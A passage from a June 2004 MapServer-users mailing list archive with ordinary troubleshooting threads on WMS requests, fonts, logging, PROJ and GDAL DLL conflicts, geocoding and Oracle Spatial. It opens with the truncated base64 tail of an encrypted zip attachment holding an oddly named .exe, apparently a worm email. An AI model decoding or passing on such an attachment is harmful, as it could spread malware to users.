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 ----------akppmuclvfuoqqulwdiq-- From ronald.woita at rostock.de Mon Jun 21 23:17:16 2004 From: ronald.woita at rostock.de (Ronald Woita) Date: Tue, 22 Jun 2004 08:17:16 +0200 Subject: [Mapserver-users] Re: [Mapserver-DE] Fehler nach Umstieg auf Version 4.2.0 Message-ID: <40D7EB0B.29725.2FC6E5@localhost> Am 21 Jun 2004 um 15:39 hat Ralf Eckert geschrieben: > anderen Server und rufe mit > ........gm01.map&VERSION=1.1.0&REQUEST=GetMap > den UMN auf, bekomme ich die Fehlermeldung: Im Aufruf f?r den WMS-Server fehlt die Angabe f?r den Layer ........gm01.map&VERSION=1.1.0&REQUEST=GetMap&Layers=fnp........ zumindest kann ich damit dieselbe Fehlermeldung simulieren. Der Parameter Layers ist nach OGC WMS-Spezi. 1.1.1 Pflicht. -- Ronald Woita Hansestadt Rostock Kataster-, Vermessungs- und Liegenschaftsamt Holbeinplatz 14, 18069 Rostock email: ronald.woita at rostock.de phone: +49 (0)381 - 381 6256 From skoehler at buschjena.de Tue Jun 22 00:46:31 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Tue, 22 Jun 2004 09:46:31 +0200 Subject: [Mapserver-users] changing the order of classes Message-ID: Hi, I will create an new class which is draw before all other classes from the map-file. For layer I can change the drawingorder. Can I change the drawingorder of classes also? thanks Steffen Koehler From eric.belenfant at ac-orleans-tours.fr Tue Jun 22 01:49:44 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Tue, 22 Jun 2004 10:49:44 +0200 Subject: [Mapserver-users] example 1.4 with LABEL object not working Message-ID: <40D7F2A8.2060401@ac-orleans-tours.fr> Hi, i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 i tried the tutorial on my installation. The first three examples works well BUT the example 1.4 about LABELS doesn't work well, no image is displayed, i don't see any error message (no debugging mode in mapserver !!!??) I point over the fonts i copied on my system Any ideas ?? eric my mapserver = MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF O UTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIEN T SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT From eric.belenfant at ac-orleans-tours.fr Tue Jun 22 02:42:12 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Tue, 22 Jun 2004 11:42:12 +0200 Subject: [Mapserver-users] problem with LABELS in TRUETYPE Message-ID: <40D7FEF4.6000407@ac-orleans-tours.fr> Hi, i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 i try to add labels in .map file but i have this message: "*msGetLabelSize(): TrueType Font error. Could not find/open font* " i point on the fonts.list file which contains the alias given in the FONT attribute i also have the good arialbd.ttf present. TRUETYPE must be configured in APACHE ? or only in the .map file ? thanks eric -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT From msoto002 at eresmas.com Tue Jun 22 04:11:00 2004 From: msoto002 at eresmas.com (m soto .) Date: Tue, 22 Jun 2004 11:11:00 GMT Subject: [Mapserver-users] message without answer Message-ID: <1a397c1a4b38.1a4b381a397c@ma12.eresmas.com> =3Ctable border=3D0 width=3D=22100=25=22 cellpadding=3D=228=22 cellpaddi= ng=3D=228=22=3E=3Ctr=3E=3Ctd bgcolor=3D=22=23ffffff=22=3E=3CSPAN style=3D= =22FONT-SIZE=3A 11px=3B COLOR=3A =23000000=3B FONT-FAMILY=3A monospace=22= =3E =3CP=3E=3CBR=3EHi again!=3CBR=3EI sent a message few days ago but I have = not received any answer=2E Please=2C Should you find a solution for my pr= oblem=3F Thanks again=3CBR=3E=3CBR=3E=3CSTRONG=3Escale in query result=3C= /STRONG=3E=3C/P=3E =3CP=3EI need to show the query map in the same scale as the map =3CBR=3E= in the map template=2C but I want the size of querymap smaller than the m= ap=2E=3C/P=3E =3CP=3EIf I show the query result in the same page (target =3D =5Fself) i= t goes=2C but if I show =3CBR=3Ethe query result in a different window th= e query map has got the same extent than the map=2C so=3CBR=3Ethe resulta= nt scale is bigger=2E (I need to do that in a new window)=3C/P=3E =3CP=3EHow can i do that=3F=3C/P=3E =3CP=3EThanks in advanced=2E Maria=2E=3C/P=3E =3CP=3E// query result in a new window=3C/P=3E =3CP=3Efunction CheckTarget()=7B=3CBR=3E=26nbsp=3Bif (document=2Emapserv=2E= mode=2Evalue =3D=3D =22query=22)=7B=3CBR=3E=26nbsp=3B document=2Emapserv=2E= target=3D=22query=22=3B=3CBR=3E=26nbsp=3B window=2Eopen(=27=27=2C =27quer= y=27=2C =27resizable=3Dyes=2Cscrollbars=3Dyes=2Ctoolbar=3Dno=2Cmenubar=3D= no=2Cwidth=3D400=2Cheight=3D300=27)=3B=3CBR=3E=26nbsp=3B=7D else =7B=3CBR= =3E=26nbsp=3B document=2Emapserv=2Etarget=3D=22=5Fself=22=3B=3CBR=3E=26nb= sp=3B=7D=3CBR=3E=7D=3C/P=3E =3CP=3E// querymap in mapfile=3C/P=3E =3CP=3E=26nbsp=3BQUERYMAP=3CBR=3E=26nbsp=3B SIZE 300 187=3CBR=3E=26nbsp=3B= STATUS ON=3CBR=3E=26nbsp=3B STYLE HILITE=3CBR=3E=26nbsp=3B COLOR 0 255 2= 55=3CBR=3E=26nbsp=3BEND=3CBR=3E=3CBR=3EAdeu=2E Maria=2E=3C/SPAN=3E=3C/P=3E= =3C/td=3E=3C/tr=3E=3C/table=3E=3Cbr=3E=3Cbr=3E=3Cspan style=3D=22font-fam= ily=3Amonospace=22=3E----------------------------------------------------= -------------------=3C/span=3E=3Cbr=3E=3Cspan style=3D=22font-family=3Ave= rdana=3Bfont-size=3A11px=3B=22=3EJuan acaba de ganar 40 euros vendiendo u= n jersey que no usaba gracias a Ebay=2C =BFcuanto quieres ganar t=FA=3F=3C= br=3E=3Ca href=3D=22http=3A//banner=2Eeresmas=2Ecom/adclick/CID=3D0000585= 0c858344d00000000/site=3DERESMAS/area=3DERESMAS=2ECORREO/aamsz=3DPIE=5FWE= BMAIL=22 target=3D=22=5Fblank=22=3Ehttp=3A//ad=2Edoubleclick=2Enet/clk=3B= 7342022=3B7829128=3Bi=3Fhttp=3A//adfarm=2Emediaplex=2Ecom/ad/ck/1185-1891= 2-4660-5=3FRedirectEnter=26partner=3D36993=26loc=3Dhttp=3A//www=2Ees=2Eeb= ay=2Ecom=3C/a=3E=3C/span=3E=3Cbr=3E From dmorissette at dmsolutions.ca Tue Jun 22 05:38:35 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 22 Jun 2004 08:38:35 -0400 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <26FAB31EFF50034782DFE474AB44FE3E02933F@nt-sf-exchange.Windows2000> References: <26FAB31EFF50034782DFE474AB44FE3E02933F@nt-sf-exchange.Windows2000> Message-ID: <40D8284B.4030003@dmsolutions.ca> Frieso ter Haseborg wrote: > Hi, > > LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" > or > LOG ms.log > > gives no difference. So far I never had any problems using '/' instead of '\'. > > Are there any other requirements to be met for ms to get a debug-log? > The LOG directive applies only to the mapserv CGI via the traditional CGI interface. It has no effect with the WMS or WFS interfaces or with MapScript. BTW, there are two other ways to generate log output in MapServer: - Setting the MS_ERRORFILE environment variable will log all error messages to the specified file - Compiling with --enable-debug (i.e. adding the -DENABLE_STDERR_DEBUG -DNEED_NONBLOCKING_STDERR compile flags) will generate lots of debug output to stderr (i.e. to the Apache error_log). We've been talking about unifying all this, you'll find more details in bug 709: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=709 Now, if all you need is to log requests then none of the above will do what you want. In this case you could simply create a wrapper script that logs the request and passes control to the mapserv.exe. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Tue Jun 22 06:13:29 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 22 Jun 2004 09:13:29 -0400 Subject: [Mapserver-users] unable to affect HTML legend via URL arguments to map file elements In-Reply-To: <40D53550.8060200@u.washington.edu> References: <40D53550.8060200@u.washington.edu> Message-ID: <40D83079.1000102@dmsolutions.ca> Emilio Mayorga wrote: > > I'm trying to impact the output of an HTML legend by using URL CGI > arguments. For example, if in my map file there is a layer with these > elements: > NAME "countries" > GROUP "political" > I want to change the group to "admin" on the fly using this URL CGI > snippet: > &mode=legend&map_countries_group=admin > > However, the HTML legend seems to be completely unresponsive to changes > passed via the map__ syntax (I've tried > various changes). Is that so, or am I doing something wrong? > I had a quick look at the code and I see no reason why the HTML legend would react differently to those layer changes than the other modes. Are you able to change the group value when using browse mode? Which version of MapServer are you using? Maybe that's a bug from an older version? -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From tburton at holonics.ca Tue Jun 22 06:21:45 2004 From: tburton at holonics.ca (Trent Burton) Date: Tue, 22 Jun 2004 09:21:45 -0400 Subject: [Mapserver-users] Ordinal Not found - The ordinal 19 could not be located in the dynamic link library PROJ.dll Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C4585B.DDC74406 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I had installed Mapserver on Windows using the binaries supplied on the Mapserver web site. It appeared to me that my data was not being projected properly so I tried to install PROJ4 as instructed on MapServer Wiki http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WindowProjHowTo using the prebuilt binaries and I get the follwing error pop up on the server when I make a map request: =20 ------------------------------------------------------------------------ ------------------------------- =20 mapserv.exe - Ordinal not found =20 The ordinal 19 could not be located in the dynamic link library PROJ.dl =20 ------------------------------------------------------------------------ ------------------------------- =20 Anyone see this before? =20 Thanks, =20 Trent =20 =20 ------_=_NextPart_001_01C4585B.DDC74406 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
I had = installed=20 Mapserver on Windows using the binaries supplied on the Mapserver web=20 site.  It appeared to me that my data was not being projected = properly so I=20 tried to install PROJ4 as instructed on MapServer Wiki htt= p://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WindowProjHowTo using = the prebuilt binaries and I get the follwing error pop up on the server = when I=20 make a map request:
 
----------------------------------------------------------------= ---------------------------------------
 
mapserv.exe -=20 Ordinal not found
 
The = ordinal 19 could=20 not be located in the dynamic link library PROJ.dl
 
----------------------------------------------------------------= ---------------------------------------
 
Anyone = see this=20 before?
 
Thanks,
 
Trent
 
 
=00 ------_=_NextPart_001_01C4585B.DDC74406-- From eduardo at consultoria.eti.br Tue Jun 22 06:17:10 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 22 Jun 2004 10:17:10 -0300 Subject: [Mapserver-users] Re: problemas within GDAL In-Reply-To: <40D350C9.30304@pobox.com> References: <40D33FAA.6060803@consultoria.eti.br> <40D350C9.30304@pobox.com> Message-ID: <40D83156.7070202@consultoria.eti.br> hello, I'd like to add some tips on Frank's comments: - a way to avoid this problem could be add you gdal dlls path to %PATH variable of Windows XP/2000 ( My Computer->Advanced->Env.Variables). this is the way I found to install diferent version of MapServer CGI and PHPMapScript at the same win machine. best. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** Frank Warmerdam escreveu: > Eduardo Patto Kanegae wrote: > >> Hi Frank, ( sorry the long mail) >> >> I downloaded GDAL 1.2 for Windows ( binaries) >> but when trying to run any of the GDAL tools ( gdal_translate.exe, >> gdalinfo.exe , gdalwarp.exe , gdalwarpsimple.exe, ogr2ogr.exe, >> ogrinfo.exe ) I got the error: >> "This application could not be loaded because the file >> xerces-c_2_3_0.dll was not found..." >> >> A few days ago you told me to download and use OpenEV-FW 174 which >> contains all lastest binaries. >> So I did it at the path C:\OpenEV_FW, but when starting it ( >> openev.bat ) >> I got the error:(i'll try translate the message to english ;-) >> "It was not possible to find the entry point of >> GDALGeneralCmdLineProcessor procedure at the dinamic library gdal12.dll" >> another strange thing: I have MapServer 4.2 ( with PHPMapScript) >> which I downloaded from MapTools.org, and if I overwrite my >> c:\windows\system32\gdal12.dll ( which came with mapserver) with >> gdal12.dll of OpenEV-FW174, then MapServer crashes. > > > Eduardo, > > It drives me crazy that any applications dump their GDAL DLL's into > c:\windows\system32. That is causing the problem. I would encourage > you to try putting gdal12.dll somewhere else, like in the same cgi-bin > directory that the mapserv.exe is. Putting it in the system32 > directory is just going to cause no end of compatibility issues. > > There are many versions of GDAL12.DLL that conflict. They need to > be kept seperate. > >> So I tried to look for gdal1.1.9 bins but got no connection to >> ftp.remotesensing.org >> >> Then I installed OpenEV 1.7.0 for windows and OK. It has gdalinfo >> working and that's what I was looking for. >> but when openning openev I got: >> "Impossible to find the entry point OGRSetGenerate_DB2_V72_BYTE_ORDER >> at gdal11.dll" >> >> ps.: I'm running Windows XP Home portuguese. >> >> sorry sending this mail directly to you but I tried to subscribe at >> http://remotesensing.org/mailman/listinfo/gdal-dev/ GDAL list but >> browser is not reaching the page. > > > Remotesensing.org is moving to a new machine, which is why there is so > much chaos for all resources from there. > > Best regards, -- From bartvde at xs4all.nl Tue Jun 22 06:36:37 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 22 Jun 2004 15:36:37 +0200 (CEST) Subject: [Mapserver-users] possible cause of rendering problems Message-ID: <15654.212.238.227.182.1087911397.squirrel@webmail.xs4all.nl> Hi list, we had some rendering problems in which we would have around 10 classes in a LAYER. Not all of the polygon outlines would be drawn. The problem was caused by using the following CLASS syntax: CLASS EXPRESSION /654[23]/ NAME "dok" COLOR 255 255 255 STYLE SYMBOL 0 OUTLINECOLOR 255 0 0 SIZE 2 END END So the COLOR was outside the STYLE object. When we moved the COLOR into the STYLE object, everything worked as expected. So bottom line: never mingle the old way of doing symbolization with the new STYLE way of doing it. Best regards, Bart From ed at topozone.com Tue Jun 22 06:45:30 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 22 Jun 2004 09:45:30 -0400 Subject: [Mapserver-users] Ordinal Not found - The ordinal 19 could not be located in the dynamic link library PROJ.dll Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3660@ptolemy.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4585F.2F6CDCDC Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Trent - =20 I haven't seen that particular problem, but I'm familiar with the error. Your mapserv.exe was linked against a different version of the PROJ DLL than the one you are using. It appears the interface changed between the two versions, and your binary is trying to call an entry point that doesn't exist in your DLL. You need to use the correct PROJ DLL - probably the one you had to start with. =20 I have never heard of a PROJ installation problem causing data not to be "projected properly". It's far more likely to be a definition/specification error. If you can give us some details on what's going wrong, we'll try to help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 ________________________________ From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Trent Burton Sent: Tuesday, June 22, 2004 9:22 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Ordinal Not found - The ordinal 19 could not be located in the dynamic link library PROJ.dll I had installed Mapserver on Windows using the binaries supplied on the Mapserver web site. It appeared to me that my data was not being projected properly so I tried to install PROJ4 as instructed on MapServer Wiki http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WindowProjHowTo using the prebuilt binaries and I get the follwing error pop up on the server when I make a map request: =20 ------------------------------------------------------------------------ ------------------------------- =20 mapserv.exe - Ordinal not found =20 The ordinal 19 could not be located in the dynamic link library PROJ.dl =20 ------------------------------------------------------------------------ ------------------------------- =20 Anyone see this before? =20 Thanks, =20 Trent =20 =20 ------_=_NextPart_001_01C4585F.2F6CDCDC Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Trent -
 
I haven't seen that particular problem, but I'm = familiar=20 with the error.  Your mapserv.exe was linked against a different = version of=20 the PROJ DLL than the one you are using.  It appears the interface = changed=20 between the two versions, and your binary is trying to call an entry = point that=20 doesn't exist in your DLL.  You need to use the correct PROJ DLL - = probably=20 the one you had to start with.
 
I have never heard of a PROJ installation = problem causing=20 data not to be "projected properly".  It's far more likely to be a=20 definition/specification error.  If you can give us some details on = what's=20 going wrong, we'll try to help!
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =



From: = mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of = Trent=20 Burton
Sent: Tuesday, June 22, 2004 9:22 AM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Ordinal=20 Not found - The ordinal 19 could not be located in the dynamic link = library=20 PROJ.dll

I had = installed=20 Mapserver on Windows using the binaries supplied on the Mapserver web=20 site.  It appeared to me that my data was not being projected = properly so I=20 tried to install PROJ4 as instructed on MapServer Wiki htt= p://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WindowProjHowTo using = the prebuilt binaries and I get the follwing error pop up on the server = when I=20 make a map request:
 
----------------------------------------------------------------= ---------------------------------------
 
mapserv.exe -=20 Ordinal not found
 
The = ordinal 19 could=20 not be located in the dynamic link library PROJ.dl
 
----------------------------------------------------------------= ---------------------------------------
 
Anyone = see this=20 before?
 
Thanks,
 
Trent
 
 
------_=_NextPart_001_01C4585F.2F6CDCDC-- From warmerdam at pobox.com Tue Jun 22 07:01:30 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 22 Jun 2004 10:01:30 -0400 Subject: [Mapserver-users] Ordinal Not found - The ordinal 19 could not be located in the dynamic link library PROJ.dll In-Reply-To: References: Message-ID: <40D83BBA.8090600@pobox.com> Trent Burton wrote: > I had installed Mapserver on Windows using the binaries supplied on the > Mapserver web site. It appeared to me that my data was not being > projected properly so I tried to install PROJ4 as instructed on > MapServer Wiki > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WindowProjHowTo using the > prebuilt binaries and I get the follwing error pop up on the server when > I make a map request: > > ------------------------------------------------------------------------------------------------------- > > mapserv.exe - Ordinal not found > > The ordinal 19 could not be located in the dynamic link library PROJ.dl > Trent, The problem is that you are using a pretty old PROJ.4 binary build that is missing some functions (each assigned an ordinal number). If the mapserver binary you originally installed included a proj.dll then stick with that. More likely the problem you were running into related to properly finding the PROJ support files for which you likey need to set PROJ_LIB properly. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From bitner at macnoise.com Tue Jun 22 07:25:27 2004 From: bitner at macnoise.com (David Bitner) Date: Tue, 22 Jun 2004 09:25:27 -0500 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: Message-ID: It sounds like you have a list of addresses to geocode after which it will be a static layer? If this is the case, one thing you could do is geocode all the addresses, either by hand or by writing scripts to interact with one of the geocoders mentioned before, to add an x and a y field to your table with the addresses. You could then either convert that to a shapefile, or use the display points from a table method that has been discussed on this list before. You could then query these points the same as any other geographic layer. -----Original Message----- From: Ed Bourque [mailto:edbourque at hotmail.com] Sent: Monday, June 21, 2004 4:37 PM To: bitner at macnoise.com Subject: RE: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage Hello Thanks for your reply. Is there a way to get all of these geocoded addresses onto a big US map (and regional, state maps) which could have clickable points? Thanks Ed B >From: "David Bitner" >To: "Ed Bourque" , > >Subject: RE: [Mapserver-users] free map server/mapping hundreds of >addresses on a webpage >Date: Mon, 21 Jun 2004 16:30:43 -0500 > >Three TIGER based geocoders are out there right now that I know of: > >The geocoder.us geocoder: >http://geocoder.us/ > >The VegGIS geocoder: >http://gis.vegcrew.net/ > >The google geocoder: >http://dan.egnor.name/google.html > >*********************************** >David W Bitner >GIS Specialist >Metropolitan Airports Comission > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed Bourque >Sent: Monday, June 21, 2004 3:58 PM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] free map server/mapping hundreds of addresses >on a webpage > > >Hello > >I have only the following software (ArcView 3.x) and I would like to be >able >to geocode addresses and map these on a website. I thouht TIGER line data >would be the best.... Which data and software would you recommend? >Any help would be appreciated > >Ed B > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From skoehler at buschjena.de Tue Jun 22 07:30:52 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Tue, 22 Jun 2004 16:30:52 +0200 Subject: [Mapserver-users] changing the order of classes In-Reply-To: Message-ID: Hi, I have solved my problem by download and reading the documentation to PHP/Mapscript Version 4.2 (before I readed Version 4.0) which has the function $layer->moveClassUp(). This functions solves my problem. Bye Steffen Koehler mapserver-users-admin at lists.gis.umn.edu schrieb am 22.06.2004 09:46:31: > Hi, > > I will create an new class which is draw before all other classes from the > map-file. For layer I can change the drawingorder. Can I change the > drawingorder of classes also? > > thanks > Steffen Koehler > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From simon at inf.univali.br Tue Jun 22 07:46:47 2004 From: simon at inf.univali.br (Fernando S.) Date: Tue, 22 Jun 2004 11:46:47 -0300 Subject: [Mapserver-users] geometryfromtext in orcale spatial? In-Reply-To: References: Message-ID: <40D84657.4020700@inf.univali.br> This is a multi-part message in MIME format. --------------020704010408010600090804 Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 8bit Hi, Sorry one more time for the delay to report you. Well, exist two ways to do this. One, by Mapscript, and other using plsql. I don't know but I believe that exist others ways to do this, but I don't know if can be more easy. The first, I worked using this, php-mapscript, is executing the query that return the points for line directly in php and store this return in a array, after implode this array to a string separated by comma and unsing this string inside the query. And after set the /data/ for the layer using mapscript. The second is creating one plsql function that return the points to the second query. I never worked using this way. So, the way to return only the point x an y, by sql in php is "/select t.geom.sdo_point.x, t.geom.sdo_point.y from table t/". This query return only X and Y from the points stored in geometry column. Look that you need to define one alias to the table. Sorry my poor english. ==================================================== Fernando Simon - simon at cttmar.univali.br ==================================================== DataBase Manager, Mapserver, OracleSpatial Developer G10 - Laboratorio de Computacao Aplicada http://g10.cttmar.univali.br ==================================================== > Fernando Simon, > Thank you! > I think your suggestion work. But "*THE QUERY THAT RETURN THE POINTS > FOR LINE"*seems doesn't accept statement like "select the_geom from > gpsTable where route_id=xxx". How can translate the query result > (points) into something SDO_ORDINATE_ARRAY will accept? > Is there any function in oracle spatial to do this work? > > -----Original Message----- > *From:* mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]*On Behalf Of > *Fernando S. > *Sent:* Monday, June 14, 2004 10:52 PM > *To:* Fu Chen; mapserver-users at lists.gis.umn.edu > *Subject:* Re: [Mapserver-users] geometryfromtext in orcale spatial? > > Hi, > Well, sorry to report you only now. I believe that you need to > define the geometry column when you execute the query. I don't > test this query, but I believe that work's. I already work with > this way, and run correctly with mapserv. > So try to use: > data "the_geom from (select id, mdsys.SDO_GEOMETRY(2002, NULL, > NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 2, 1), > 